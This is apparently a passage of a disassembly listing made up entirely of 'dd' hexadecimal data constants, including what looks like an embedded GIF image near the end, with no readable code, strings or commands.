		dd 7C8F8002h, 1FA018h, 0A53481D8h, 14129509h, 0D8F80880h
		dd 0E98601C7h, 0E55DC497h, 6649C098h, 0F704A52h, 9CE3D07Bh
		dd 3A87B0F4h, 76CEC9D7h, 0E99D13B2h, 0B80947ACh, 88DF4F49h
		dd 0A0BF28F3h, 0F1E63CC7h, 0FA7E8EFFh, 84FD9FF3h, 4A074087h
		dd 63C282D0h, 6120F61Eh, 994A173Dh, 800027Bh, 4486A4FAh
		dd 6AD12A27h, 16A2F458h, 374686B5h, 78650D6Ah, 851EA3F4h
		dd 0CA143D07h, 0C5F292D0h, 8798D1A1h, 0E51AD44h, 0A5E33474h
		dd 316988D0h, 9A8C718Ah, 3819031Eh, 7634A9CDh, 8C6453CAh
		dd 0A0CB1943h, 92B23447h, 9C8B3B6h, 0E85AB538h,	4FC0813Dh
		dd 0A783646Ah, 54869D3Ch, 0A9D54AA7h, 58193542h, 0B239EACDh
		dd 62918D71h, 3966A8A5h, 2A926FEAh, 0E81205C8h,	6950FD9Eh
		dd 0CDA6235h, 1CE33867h, 398730E9h, 665741C4h, 0E21995D8h
		dd 0F63A6B90h, 18620C4Ah, 4535AFE3h, 91B631C6h,	0E2FC7A0Dh
		dd 6B0C81ABh, 564356D8h, 9EE81A0Bh, 35A950BFh, 700E41D0h
		dd 0E11C2380h, 0B56686F0h, 7C6F8DA1h, 1D98B343h, 0D1CB6887h
		dd 23369752h, 0A9A0D0A6h, 0D861B438h, 638A3EB2h, 9811BB1Ah
		dd 0C4BB3966h, 54AB26FFh, 98243819h, 332B8470h,	0AD6F2E32h
		dd 0C91E9652h, 2258AE25h, 3ADA5B05h, 0D6A2A601h, 68DE1BA4h
		dd 11D2D395h, 0AB56176Dh, 32AE55Bh, 0F462823Eh,	8DA3781Ah
		dd 88BB0521h, 708F5DB4h, 3DDB3005h, 3226CD0h, 75A1286Fh
		dd 0B2D56CADh, 8A3B4483h, 0E0B243Fh, 1B37D86Eh,	3BACE0D9h
		dd 775FC1DAh, 0DA1DD7F8h, 46386D00h, 0CAD30E8Bh, 38F2B574h
		dd 1028526Ch, 28E926A3h, 33864h, 0C63B6CCAh, 642C2D26h
		dd 0C7407C40h, 0E0BC551Ah, 205B004Ah, 90CF99E3h, 0DC1EC572h
		dd 0EA1BC18Ah, 14CB0DA4h, 4C2B15B3h, 98BC3B66h,	29801009h
		dd 7FB1421Eh, 0B9F062D7h, 0DB45E706h, 0C44350B9h, 7B26991Ah
		dd 2DB883D4h, 7B0B538Eh, 0A66D2899h, 60025BBDh,	86B0D4BEh
		dd 654CA765h, 0B4395ACCh, 816D20E3h, 995A7A5Fh,	0DE1C54CEh
		dd 4E877048h, 820AC450h, 6C0F89D5h, 1540C26Ch, 451E02ACh
		dd 7AC34EFFh, 2589229Ch, 8E200261h, 0C2160C07h,	0A9D77EEDh
		dd 46992207h, 0DBC1E293h, 3533C634h, 0E861CDB7h, 0DE901BD5h
		dd 0E1F5B584h, 880F078Dh, 3078021Bh, 79ADFC02h,	0D19B87C9h
		dd 0CF7290FFh, 0CA4356F9h, 6686E5F6h, 528DBB3Dh, 741BB5D3h
		dd 0CD5CABA5h, 0BB568E71h, 15A9A615h, 6CC438C7h, 921C0A14h
		dd 5FE66400h, 66781699h, 0A92DC919h, 9B96B5E6h,	25E96C68h
		dd 0C27A39AFh, 3EF45C66h, 0FD565D84h, 4B7B56EEh, 0D94BAD9Ch
		dd 0C8C98D3Bh, 94DB8DD0h, 826290ACh, 4DEA411Eh,	1E2292h
		dd 0C7B29082h, 0A94DD909h, 90F33612h, 74A3C1CDh, 5D1A1E7Ah
		dd 7BF77E06h, 0E3A86B8Dh, 0F7C8F2DEh, 0EBDF63Ah, 0D4BBF86Ch
		dd 80C6F59Eh, 7152FA5Bh, 9CD68338h, 0CA87A3DAh,	0CF5EB7BCh
		dd 0F366CD6Dh, 0B484A81Ah, 3B1B4D82h, 0A0C29F03h, 612B8101h
		dd 4CD9EF3Dh, 0FA73F411h, 0A46937D4h, 37915104h, 0A21C6EFFh
		dd 46410D8Bh, 51808D9Fh, 64C8DB8Bh, 25DA45EEh, 74134935h
		dd 41433DCAh, 4358760Fh, 4760ECDEh, 0EF6DEA3Bh,	0E89BDF7Bh
		dd 672FE8D7h, 2CE03E05h, 0D1A5C393h, 143AC620h,	0DA1B45CCh
		dd 1BAE922Ah, 0D7D6DA2h, 11315AA6h, 0D5DBB75Bh,	0ADCCDEA4h
		dd 8C8B0D55h, 1740441Ch, 0D74B167Fh, 584C49A1h,	5D04521Ch
		dd 6A1B447Ch, 832E5F08h, 867B1862h, 120B1D4Ah, 620A6301h
		dd 0E127490Fh, 47AFC821h, 1051EAB9h, 6348FEBEh,	5E28DDABh
		dd 7852B26Ch, 0DC6B0DCEh, 0D8DABF17h, 5E91D0EFh, 580076EFh
		dd 782659C0h, 8C61A397h, 82828475h, 0B6C15AA5h,	3D2A4922h
		dd 5C49106Ah, 8725F35Fh, 0F1DB8080h, 4A487540h,	0C9609E37h
		dd 173E54F1h, 17D2B953h, 0CAC4D128h, 87EA9707h,	776F5B66h
		dd 0F5CAE8A1h, 0C5BBCB39h, 9318D672h, 1EF4DC3Fh, 0C3F60785h
		dd 5F66052Eh, 1EFB637Bh, 3C9CB6D7h, 0C1C03DFFh,	0E3932A0Eh
		dd 0B02FE7FCh, 6B0CB9FAh, 0A674CF2Fh, 344628C7h, 0D38DD18Eh
		dd 70F5E64Fh, 0B86ADDF9h, 0C3B1E2B6h, 0D0F4E765h, 6A27E50Ch
		dd 0FE6A559Ch, 0B8086FC6h, 6A80DD0Eh, 0AE6AC579h, 30D16B06h
		dd 1937F50Dh, 6F71C443h, 0C1AA7FA1h, 1734DE7Fh,	0D00F673Bh
		dd 90DC0EC0h, 6F86F40Dh, 466F9506h, 0D86FE7h, 65970270h
		dd 0E2811605h, 15267F60h, 73B17183h, 200C50F2h,	67438228h
		dd 0F050674h, 9D0EA746h, 582B79F7h, 0E68115Ah, 46832830h
		dd 55681678h, 5967E583h, 0DE59A5F6h, 16A57990h,	59E0DB85h
		dd 0B065A5A1h, 58437EF6h, 85B84784h, 2849162h, 0E5985968h
		dd 0DF59E0Dh, 0B0E20DBh, 0B80C8678h, 0E70E96Ah,	0A957E56Eh
		dd 8435335h, 66A1514Dh,	6016385Ch, 48491BF5h, 0DA8370Eh
		dd 46F779Bh, 0B8266F95h, 8538286Fh, 0A67030DFh,	70C70C35h
		dd 1508720Eh, 62173874h, 0B714F5FFh, 0B8771A82h, 17E3A714h
		dd 0F57E4849h, 0D6F58385h, 79D83D83h, 5574B79Eh, 353152E8h
		dd 88A0C60Ch, 7288D152h, 31EB88F1h, 4F71AB89h, 0CB0F20FCh
		dd 5950EC0h, 84F6A286h,	2A8520DAh, 0D5A57038h, 0C77F065h
		dd 0FC0CE8A4h, 0E7D55AE0h, 61C5D926h, 0E421B419h, 25CF8C46h
		dd 2996342Ch, 0DF8165C5h, 521F2385h, 47946926h,	0DF6C970Ah
		dd 22CE6CE2h, 43F7AD23h, 8B2BE434h, 48DE5B13h, 33D7F85Bh
		dd 0DB676357h, 2D14A26h, 2443B900h, 383938DDh, 18EF5C63h
		dd 8AF1497Eh, 0E80D90CAh, 0E0E87EA7h, 57D86D56h, 7F57E8FEh
		dd 75365805h, 8BF53853h, 0C160B8C1h, 36E86352h,	2983676Eh
		dd 48690247h, 23B63831h, 23371823h, 4062458Bh, 0F46449D2h
		dd 69742F40h, 1A3F65DFh, 82E45B03h, 14D30A30h, 1B921723h
		dd 96136116h, 2E46E414h, 4A8E924Bh, 43FA8EC6h, 61792424h
		dd 1B3AD622h, 929252FFh, 60F08F57h, 5978F80Dh, 0DB6A4599h
		dd 0D80C8680h, 86C57A80h, 349000CEh, 0D0C48BE5h, 1499070Ch
		dd 49723250h, 67B76465h, 36877367h, 72274244h, 714E3916h
		dd 8E767C54h, 0C67CC7C1h, 83304952h, 71F8947Bh,	89666373h
		dd 0A3514195h, 24093049h
		dd 0AA8EC8EDh, 26DD95B3h, 54B14F97h, 0B38B293Dh, 0E84E9408h
		dd 5A365684h, 0BD8BC8BBh, 0CE0CF8h, 1470470Dh, 728CB6D3h
		dd 16425642h, 40538F04h, 592383B1h, 0C6C83399h,	95E1497Ch
		dd 0F4342266h, 86DD5643h, 96426323h, 0E53B2436h, 0F2BE6E88h
		dd 3CA3C070h, 7861C96Bh, 87B047C3h, 9A19333Bh, 0BC3D55B5h
		dd 69A39B05h, 0D684914h, 0BA7E80EDh, 0D65B9BB9h, 94B86F7Eh
		dd 0C40C8581h, 75310CF0h, 70A38498h, 1E72721Fh,	0D2CA03C9h
		dd 92323D28h, 743105DEh, 0D71A0422h, 72091995h,	33697960h
		dd 2995D23h, 1493F59Ah,	6491E711h, 934C59FFh, 0C9152A48h
		dd 9326C69Ah, 0EC91F311h, 0B9DF9D58h, 3B14893h,	0DA69F0E2h
		dd 77EF9BE0h, 5399039Fh, 3C0C89FAh, 10CF0C75h, 6245340Dh
		dd 0CC48D247h, 37DD7786h, 29862A6Eh, 5F43F2C4h,	33B56C33h
		dd 21F30946h, 9C6ED371h, 0D2669942h, 3B729C42h,	6024D549h
		dd 199F3532h, 43B26040h, 0DB91F90Bh, 0A44A78D7h, 9B575944h
		dd 6F2AC2A5h, 44424409h, 43DA223Bh, 8EA11767h, 98F46363h
		dd 0EA0BD14h, 0D80D70CAh, 0B0DF8630h, 0A40A406Ah, 44A430D1h
		dd 30D1A45Ah, 5339FF0Ch, 0A991109Ch, 77CF4B57h,	2323713Bh
		dd 1A47C3AEh, 0C35C3B43h, 647A087Bh, 0FA7E07A8h, 438B8D67h
		dd 47E48756h, 87372A27h, 54890424h, 7B423D6Bh, 0AD44A968h
		dd 0D9A92CA7h, 48A32D28h, 8D54738Dh, 531047A4h,	5AF3D8A6h
		dd 37A667CDh, 501F146Ah, 0F102201h, 0F551E0D5h,	48288286h
		dd 5770DD94h, 0C3576A8Ah, 0CCA8D0FFh, 15330C40h, 160180Ch
		dd 0B71951F8h, 59CC1647h, 4C916487h, 3A01601Fh,	120110h
		dd 0D70DD0Ch, 0D951F51Dh, 0BAA80CB0h, 0E47E60Ch, 0AEAAD0C2h
		dd 59BF0C2Ah, 0BE0C60Ch, 1202400Ch, 0A01603A0h,	2B17E42h
		dd 0B2153A6Fh, 0DA9A7752h, 0A9D5F185h, 2401203Ah, 0E0230240h
		dd 0ACB0C00Bh, 0CEACDACCh, 0E0C0ACAAh, 0AD3AD20Bh, 23045AD3h
		dd 7AD700C0h, 0AC1AB9ABh, 0E2151ADCh, 502201F4h, 3203103h
		dd 3301E03Ah, 100330h, 0AC7AC6AAh, 0EE00C024h, 0CAEEAEFAh
		dd 12AC7AEh, 10010011h,	203AAE70h, 3503103h, 0FEADDA95h
		dd 0E64E46AAh, 0A80020A7h, 18016016h, 10130180h, 147DB03h
		dd 0EB0D032h, 17DBB0FBh, 1303103h, 5017B07h, 1022022Bh
		dd 0B1BB1A02h, 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 26B25B24h
		dd 9B28B27Bh, 20B23B2h,	0BA01FB2Ch, 75F16EEAh, 2001F14h
		dd 17B05022h, 38B070FFh, 0BB3AB39Bh, 0B3DB3CB3h, 40B3FB3Eh
		dd 3B42B41Bh, 0B45B44B4h, 48B47B46h, 4B16B3BBh,	0B2F020A9h
		dd 2101F4F7h, 0C0130160h, 0B5503AB0h, 58B57B56h, 0BB5AB59Bh
		dd 0B5DB5CB5h, 60B5FB5Eh, 3B62B61Bh, 0B65B64B6h, 32B5AB66h
		dd 60130140h, 0ABA02101h, 17021ADFh, 0B0480140h, 0BC0AC09h
		dd 78B77B76h, 0BB7AB79Bh, 0B7DB7CB7h, 80B7FB7Eh, 3B82B81Bh
		dd 0B85B84B8h, 7BB87B86h, 809B0ACBh, 1701404h, 3169CB6Dh
		dd 4016020Bh, 0B7708001h, 0B70BB0B8h, 0BB9AB990h, 0B9DB9CB9h
		dd 0A0B9FB9Eh, 3BA2BA1Bh, 0BA5BA4BAh, 0A8BA7BA6h, 0ABAABA9Bh
		dd 0B80BBB9h, 14080B77h, 200160h, 46BB9h, 48013AE0h, 0B0B90B90h
		dd 0B30B60Ah, 0C0BBFBBEh, 3BC2BC1Bh, 0BC5BC4BCh, 0C8BC7BC6h
		dd 0BBCABC9Bh, 0BCDBCCBCh, 0C3BCFBCEh, 0A0AB0B6Bh, 13048BBh
		dd 0C9000AFDh, 0C014B924h, 0AB0BA0Ah, 0E00B10B4h, 0E2BE1BFFh
		dd 5BE4BE3Bh, 0BE7BE6BEh, 0EABE9BE8h, 0DBECBEBBh, 0BEFBEEBEh
		dd 0E7BF1BF0h, 0A0AB0B4Bh, 0BB10AC0Bh, 0F19B6BB3h, 0A03AB925h
		dd 0B50B80Bh, 2C010AFh,	5C04C03Ch, 0C07C06C0h, 0AC09C08h
		dd 0DC0CC0BCh, 0C0FC0EC0h, 7C11C10h, 506E0B2Ch,	0C1704E05h
		dd 17C19C18h, 206E055Ch, 0B5C030Bh, 0B80BA0B8h,	0BBD8BF9Ah
		dd 3A017BFh, 0B00B70B8h, 0DC2C0AE0h, 0C2FC2EC2h, 32C31C30h
		dd 5C34C33Ch, 0C37C36C3h, 3AC39C38h, 1C3CC3BCh,	550AAC3h
		dd 5104F04Bh, 5C44C430h, 4FC43C4h, 0AA05504Bh, 70B0C2D0h
		dd 3A0B80Bh, 0C9C24017h, 0A0180214h, 0AB0B703h,	5AC590A6h
		dd 0DC5CC5BCh, 0C59C5EC5h, 0A40A70A9h, 90A80A40h, 0ADC5D0Ah
		dd 680A70A8h, 0DC5FC65Ch, 0A9C5DC6h, 0AD0A80A8h, 5C74C6E0h
		dd 0C77C76C7h, 75C79C78h, 0DC46C40Ch, 0C49C46C7h, 0B70ABC5Bh
		dd 101803A0h, 0BB5BFA16h, 0ABC56C54h, 8C0A30FFh, 3C63C8CCh
		dd 0C910A509h, 8DC63093h, 4C8FC8DCh, 0C8CC950Ah, 90091C90h
		dd 5C980A50h, 0A50A4C9h, 9EC91C9Dh, 7CA6C99Ch, 0CA1C99CAh
		dd 0A00930A5h, 3C930A4Ch, 0CAFCAE0Ah, 0B4CB3CA8h, 3CA0CB5Ch
		dd 0CB6CB209h, 8FC93CB0h, 0DCBACB9Ch, 4B07DC8h,	0C4050C43h
		dd 104CCC4Ch, 4C00100h,	43CC4CC5h, 0D07D04BCh, 0C84C82C8h
		dd 88C25C86h, 0B099C55Ch, 0CD90A20Ah, 91090CD9h, 0ECDE0920h
		dd 0CDA091CDh, 0DD0A2CE2h, 2CE3090Ch, 9A0900Ah,	0E70BDCC8h
		dd 10960A2Ch, 9109900h,	0E609B09Dh, 0DCF6CEDCh,	9B090CEh
		dd 0DACF509Dh, 1CD9CE5Ch, 0CF7C9C09h, 4D03D02h,	0C092CFFDh
		dd 90D04CFh, 0E4CE1092h, 3D05D01Ch, 4B056CEh, 1404F050h
		dd 8CC8D15Dh, 0D14D15CCh, 5604BCC4h, 90ABCDA0h,	0B30CD209h
		dd 9903ACD5h, 70900980h, 8ECDCD2h, 1709C098h, 0C09A09CDh
		dd 0CE0CDDC9h, 1098092h, 0B0950FFh, 5091D28Dh, 7F00109h
		dd 27D00D0Bh, 1D39D00Dh, 8E09800h, 38C9CCF3h, 0FD3DCDFDh
		dd 0D31D46CDh, 0FA091D37h, 3D28D07Ch, 0CDED35D3h, 0B0010BDh
		dd 0D00D48Dh, 0D5AD47CEh, 48CDCD28h, 0CD58D4DDh, 0CFAD59D4h
		dd 4AD4908Eh, 0AD4AD3FDh, 92D43D3h, 67D30D55h, 8D6FD5EDh
		dd 0D1904DD2h, 1D17D19h, 5C47D140h, 0D2804DD1h,	85D20098h
		dd 9209D22Ch, 6E099C8h,	8ED8508Eh, 109908D0h, 0D8508000h
		dd 0BD09B095h, 0F07908E0h, 8FD9208h, 3408D08Dh,	908F094Dh
		dd 79D8607h, 7D00107Eh,	5D99D940h, 0D9908DD8h, 0F308DD6Ah
		dd 3DA2D86Ch, 7908DD9h,	9AD93DA3h, 0BD92DACDh, 0CFA079DAh
		dd 97D9BD9Ah, 3D99DA0Dh, 0DAEDBAD9h, 8DDBAD90h,	0EDBDDA80h
		dd 0DB1DB0DBh, 0ACD94DC3h, 609D07FDh, 0D92DADDCh, 95DADDAFh
		dd 0AD42094Dh, 0DC5079DBh, 0ABDBBDB2h, 5D73DA8Dh, 0D14CC7D1h
		dd 47DDCD76h, 4DD190FFh, 0E06ED860h, 0C53CD3D7h, 6E098C55h
		dd 0B079DD30h, 0D3B07C08h, 8CDEADEAh, 808007A0h, 7D09DCCh
		dd 99D7607Dh, 7DF7DEA0h, 7DDF7D1h, 8CD89DEBh, 0C098DD00h
		dd 7F09D08h, 0F0DFFDB2h, 809D0A0Ch, 9D07E07h, 78080CC8h
		dd 0C09608C0h, 9A001D2h, 0C808F078h, 0BDEF08CDh, 99CC8DFh
		dd 81E0B081h, 80810A00h, 0D8907ECCh, 11081001h,	0FDF4DF2Eh
		dd 0E27E1BD9h, 7D0A0E0Eh, 9D8908C0h, 78E0A09h, 36E1DE34h
		dd 507DD76Eh, 9CE1409h,	3908C07Ch, 0B09C001Eh, 81D7607h
		dd 37E40E1Fh, 0FE11CF0Eh, 0D3BDF3E1h, 0D9DEAE1Ah, 0DD18DDCDh
		dd 0D13D17DDh, 0EA04DD14h, 109806EDh, 0D81C87D2h, 8C097DE7h
		dd 0A078E610h, 0E62095CEh, 76E67078h, 0A09C09C0h, 8007607h
		dd 9D08F0A0h, 2E61E3FDh, 96D9DE6h, 96CEF078h, 6D34E400h
		dd 7EDED07h, 11E05076h,	1D34E62Eh, 7807908h, 7E001097h
		dd 7AD6AEFFh, 60950810h, 76E88E8h, 67076DC8h, 0E71E93Eh
		dd 9E081E4h, 7FE23076h,	0CDF30780h, 1D9C09h, 6BE69097h
		dd 0A0A0E6DEh, 0E12E7307h, 21E8DE42h, 5E8308FEh, 7ED9DE8h
		dd 98DF708Ch, 8E0BE900h, 0A007B07h, 7A07607Fh, 608109E0h
		dd 0E31CEA07h
		dd 7D07F098h, 6E97E67Eh, 0EB1EAF07h, 15E99D42h,	7E8708CEh
		dd 8CE8109h, 17051E51h,	6D7604ADh, 0D7A051D7h, 5B097E73h
		dd 8E5DD7FEh, 7EC8914h,	0E2076EA1h, 700107FEh, 77EE207h
		dd 0F7077EE8h, 0DEE806DDh, 0D9DD9E06h, 0F2EE207Bh, 6001EC6Eh
		dd 0E7807609h, 77D34EE2h, 707EE440h, 0EB909E07h, 0F1D34EF3h
		dd 0B0BD076Eh, 0D8EEE909h, 0A0EE8EE9h, 0F07709A0h, 0F0909E07h
		dd 0E2EF0EE6h, 5077E97Eh, 0EF1EF4ECh, 0EB098E44h, 3EA0EEDEh
		dd 0E7ECEFEFh, 2DFD076h, 0D0BDEE2Fh, 9BEE2EBh, 98F0D0A0h
		dd 8F29EBEEh, 6CD34EEh,	0FCEF3E15h, 0FF13EFFh, 8EF2F25Fh
		dd 0F2BF15F2h, 0F2EC908Fh, 5052ED1Eh, 52ED5EDh,	0F2E57ED7h
		dd 0C07E097Eh, 209CD4E5h, 0C01E016h, 50960970h,	75F5007h
		dd 7506ACEAh, 0D1706B0h, 0ED5D9D08h, 6CDF7097h,	0BF51F510h
		dd 0EEE075EEh, 9DF5006Dh, 0DF3006ADh, 9E06A07h,	75F5E09Ah
		dd 0AF5DD9D0h, 0ED50A006h, 7E06A09Eh, 0AE15E4D0h, 0F7309A06h
		dd 5C06CD76h, 3080F50Fh, 0F54F7FF7h, 7EF30F60h,	7D76F590h
		dd 0EEEF5E09h, 67F5007Dh, 0A075F6EFh, 0F51E1506h, 79077D9Dh
		dd 5EE4F54Fh, 0D9E062EDh, 7EF67F5Eh, 4F6BF7AFh,	0F81EE5F6h
		dd 51F91F8Fh, 0FC42E51Fh, 1F40F3h, 51DE0F42h, 0C097096Fh
		dd 1BD01E00h, 4B147EDDh, 0B0A500CFh, 0FB908208h, 75E87082h
		dd 4FB90840h, 9B09C08h,	8308ACEFh, 83FBA0h, 0FBA08ADDh
		dd 76DD0FBAh, 10760820h, 84FCD00h, 8A084CEFh, 50940010h
		dd 9809C08h, 0C3FBAFC5h, 83082FFFh, 0FFBED420h,	9ACEFFBh
		dd 98FD808Ah, 1D2B0840h, 1FCBFEh, 9B083FC9h, 0F08609C0h
		dd 0FCCFBEFEh, 96FD5082h, 0AFDBFC30h, 0FCFFB9FCh, 82100094h
		dd 400A2904h, 450052C9h, 0C0050682h, 0A1104844h, 71308983h
		dd 13683422h, 150242A7h, 483829D6h, 0A4A4123h, 0E8621A2Fh
		dd 44806210h, 0F4324D17h, 1389B028h, 48A33098h,	0A6D35009h
		dd 61312894h, 0A8B8D136h, 160F0314h, 201D0C00h,	0A180C040h
		dd 60782D43h, 46916A50h, 21311C41h, 0E085432h, 28D4DA7h
		dd 0C86AAA3Ch, 84A2110h, 1854B50Bh, 3B20CED6h, 3A1D0D5Bh
		dd 21A40858h, 0EC8984Eh, 5070983Ah, 0B5440A0h, 0C708BD79h
		dd 85B8A210h, 1A843A26h, 91DED156h, 1D99072Ah, 5692D044h
		dd 0CD0D7BAEh, 0EBC7CB4Dh, 0EA7500A3h, 687BC42Ah, 844FA6ADh
		dd 742A1E26h, 43576509h, 0F25C0289h, 65A0955Ch,	7F3B2343h
		dd 0A54854FEh, 2C42A0FFh, 0E9D4BE35h, 9B144A04h, 0E93CA201h
		dd 40A784EDh, 1285409Fh, 69348A35h, 283A0C08h, 0BD541A2Dh
		dd 734D69BAh, 0B4FA24E6h, 4E204DE9h, 0D9D4E675h, 9F2388A4h
		dd 2FAC6F39h, 3B96700Eh, 6A7C39A6h, 26F9021Ah, 75EB456Eh
		dd 3F856BABh, 4BA5D2C7h, 0E64513Eh, 6432184Dh, 3BD6F522h
		dd 0FA380E6Fh, 0C63D48BAh, 0BC2EFB1Ch, 2F5BCAF1h, 50E64BADh
		dd 0F437AB04h, 0F93D0F63h, 0A10BA12Ch, 24F91443h, 0DBE24490h
		dd 0EE00B444h, 4C0EC398h, 0BFA4F8DEh, 3102C307h, 78DE4B00h
		dd 4A379070h, 2589AEB2h, 0C8321482h, 62726A27h,	0B09B21C8h
		dd 744A116Eh, 0A48420C0h, 292A3A8Ah, 8E93A000h,	0CCB24211h
		dd 24B10B2h, 4A1309B1h,	0C0A4490Ah, 83B13800h, 0B26AC110h
		dd 0CD2D90A4h, 0AC3342h, 8DF02902h, 92D302FAh, 0E4DA844Bh
		dd 0C44D26A4h, 0B8A192F4h, 0CB5040DEh, 3351312Dh, 28DE4E31h
		dd 0B72CC4FFh, 4C931470h, 0E37D0933h, 426B328Eh, 0B6454F11h
		dd 364D483Ch, 8ED3F913h, 240CFE3Ah, 4CE334D3h, 369AD164h
		dd 4E4F1079h, 90944B6Dh, 3361311Eh, 0B491204Bh,	9A25D6F5h
		dd 269192D0h, 39B28C9Fh, 84A4AD2Ah, 358A3791h, 936458F6h
		dd 66597655h, 59F6759Bh, 164DA368h, 80F94A0Eh, 0B36C5A43h
		dd 20D6B68Dh, 0DBEE0899h, 0D2489800h, 849D5E58h, 9F29B992h
		dd 38586E8Bh, 5DF775DAh, 7795E378h, 0B5EB7A5Eh,	0F37C5EF7h
		dd 38DAB795h, 0DFF7F5F4h, 25DB97Ch, 0C8F705Ch, 0CB7709B2h
		dd 0E75D15F5h, 8F161286h, 78962238h, 0B62B8A62h, 338C62F8h
		dd 8E6378D6h, 5F98B63Bh, 0B916438Fh, 7D6A29E3h,	6B825BC2h
		dd 8389E262h, 8F1890A7h, 4005CF5Eh, 8CAB86CAh, 0E43C0F8Eh
		dd 9E6779D0h, 67F9F67Bh, 7A1683A0h, 368BA268h, 93A468FAh
		dd 2BE7FA56h, 26628E4Ch, 1A96A229h, 0CE5827A7h,	9D8AF5FFh
		dd 0DCC3E0F1h, 0F875D35Fh, 10E835E6h, 0CBB26C7Bh, 0B46CFB36h
		dd 6D7B56D3h, 0FB76DBB6h, 96E3B86Dh, 4A30ECFBh,	21D71AB6h
		dd 8A62689Fh, 635EC630h, 66785EBh, 0F81D5D56h, 0C40CA358h
		dd 717C5713h, 0FC771BC6h, 9723C871h, 2BCA727Ch,	0CC72FCB7h
		dd 8B43371Bh, 0E2809792h, 0FF43D073h, 0B429D73Ch, 0BFF12330h
		dd 4A9866B9h, 0A1D02E10h, 38D23D0Dh, 6BDA7663h,	0DC76FDB7h
		dd 777DD773h, 0FDF77BDEh, 1783E077h, 0D3DC787Eh, 2A0AE2D0h
		dd 797E509Ah, 0E2A795E6h, 9F642D0Ah, 0DA3D0D3Dh, 1002E1D0h
		dd 419AEBAh, 6320740Bh,	10D0308Ch, 0CBF27C7Fh, 0F47CFF37h
		dd 7D7F57D3h, 0FF77DBF6h, 97E3F87Dh, 0B430FD3Fh, 0FC7EFFB0h
		dd 0FC9F0FF1h, 42E8C630h, 6F640B07h, 1EE14975h,	630FA05h
		dd 0BC18045h, 360640Bh,	840F81Dh, 13825046h, 2D0560A4h
		dd 660C4178h, 0E41B8350h, 0A0C104A0h, 0F43188FFh, 0EC010281h
		dd 0F4A80E1Ah, 204C1101h, 83186309h, 8600C21Ah,	8650C42Fh
		dd 0D61A433h, 1C43786Dh, 3B8750E6h, 7D0F61E4h, 62043F8h
		dd 4348851h, 0C0D41843h, 404C24C2h, 0A481F04h, 42628C0Eh
		dd 28059D6h, 18E1604Eh,	2E05B0C4h, 5B8B5164h, 0BD1762E4h
		dd 863045F8h, 24638C51h, 78CD1963h, 51A63446h, 82DC5A8Dh
		dd 84E8AA18h, 28700A11h, 1400144Eh, 1081F293h, 4902805Ch
		dd 0B21602B0h, 64047F0h, 24839052h, 790D2164h, 52264448h
		dd 64648B91h, 48F91D23h, 0B121248h, 5024856h, 2602102Eh
		dd 2F005136h, 0A80541B8h, 5A3C0004h, 90140260h,	794C0E81h
		dd 52A6544Ah, 6564AB95h, 4AF95D2Bh, 9652C658h, 2D65A4B3h
		dd 55CB796Dh, 130280CAh, 4F2600B0h, 0C0178378h,	0F8390380h
		dd 20412824h, 0E0580B02h, 66601802h, 4CF99D33h,	9A534668h
		dd 3566A4D3h, 6C4D79ADh, 9B5366B6h, 3766E4DBh, 6481799Fh
		dd 9904008Ah, 380E4A4Ch, 8180300h, 3B320360h, 0F04007E1h
		dd 53C410CEh, 67A4F39Eh, 4F79ED3Dh, 9F53E67Ch, 3F67E4FBh
		dd 804FF9FDh, 0F2A05406h, 0C938E77Ch, 80D9CF9h,	1CE99D00h
		dd 0F98A08A6h, 54468850h, 68A513A2h, 517A2D45h,	0A354668Ch
		dd 4668E51Bh, 854E6045h, 0E806C0C2h, 70076754h,	0A401D270h
		dd 652BA554h, 0FA5D4B69h, 54C69852h, 69A533A6h,	537A6D4Dh
		dd 0A754E69Ch, 0E293D37h, 7450903Ah, 0BA840DAh,	8C51817Dh
		dd 26A4547Ah, 654BA955h, 0FA9D536Ah, 5546A854h,	6AA553AAh
		dd 557AAD55h, 0A83306A3h, 80836h, 3Bh, 0
		dd 38464947h, 21D6137h,	0FBE700F4h, 10000h, 1000200h, 6030004h
		dd 4080501h, 0B0D0A03h,	100E090Dh, 0F12100Ch, 12121513h
		dd 18141816h, 1B19151Ah, 191C1A16h, 1E1A1E1Ch, 22201C1Fh
		dd 2024221Eh, 27232624h, 2C2A2629h, 2A2D2B27h, 302C302Eh
		dd 34322E32h, 32363430h, 39353836h, 3E3C383Bh, 3C413F3Ah
		dd 44404240h, 49474346h, 484C4A46h, 4F4B4F4Dh, 54524D51h
		dd 5156544Fh, 59555755h, 5F5D585Bh, 6164625Dh, 68636765h
		dd 6D6B676Ah, 5F6F6D69h, 74598972h, 73716C89h, 6B8A755Ah
		dd 7A5F7877h, 7B78748Fh, 637C7974h, 7D71947Eh, 0CA8A337Eh
		dd 6D807F73h, 826B9780h, 677C9093h, 3F838276h, 8758BC8Fh
		dd 0B8913ECBh, 76858579h, 84809785h, 99887287h,	73DB8A56h
		dd 87829A89h, 0FF91418Ah, 818B8B7Fh, 8D7E8E8Dh,	0A08F789Fh
		dd 83A79468h, 9646908Fh, 0FE9352FFh, 7B939286h,	9854B093h
		dd 0A6957FF6h, 86A79778h, 968AA895h, 0A9988197h, 50FF9B5Ah
		dd 988CFF9Eh, 0C8997C99h, 66E89C69h, 9A8EFC9Ch,	0BAA2709Bh
		dd 8DFFA160h, 9D90AF9Ch, 0AA9D919Dh, 7FA6A090h,	0A292D7A2h
		dd 0FEA56DA8h, 97A3A396h, 0A965B0A2h, 0C9A97BFFh, 98FFAA66h
		dd 0A69AA5A5h, 0C1AF7AB3h, 72A9A89Ch, 0AA9DFFACh, 0ACAB9EABh
		dd 9EB2AC9Ch, 0ADA1B4AEh, 0B6AF9FBAh, 80CDAD9Eh, 0B098FFB2h
		dd 0B7B0A1CEh, 0A7C8AEA3h, 0BA6FB7AFh, 0DDB393FEh, 8FB9B2A3h
		dd 0B58BC5B7h, 0C1B3A8FEh, 0A7FFB984h, 0B9A9BDB7h, 0FEBC8EBFh
		dd 0ABFEBA96h, 0BBB2C2BBh, 0FFBF91C3h, 0B5C4BDADh, 0BFAFC5BDh
		dd 0E6C1A5C6h, 9BC7C1B1h, 0C3B3FFC3h, 0CBC5B5C9h, 0A4F7C7A2h
		dd 0C6B6FDC6h, 0CDC5BDCCh, 0BFCFC6BEh, 0C9B9D0C7h, 0FFCAA8CFh
		dd 0ADFDCE9Fh, 0CBBBFCCAh, 0FDCDA7D2h, 0B0D2CAC1h, 0CEBEFECCh
		dd 0FFCFB2D4h, 0B8D7D1C0h, 0D3C3FCD0h, 0FFD2BAD9h, 0B5DBD2CAh
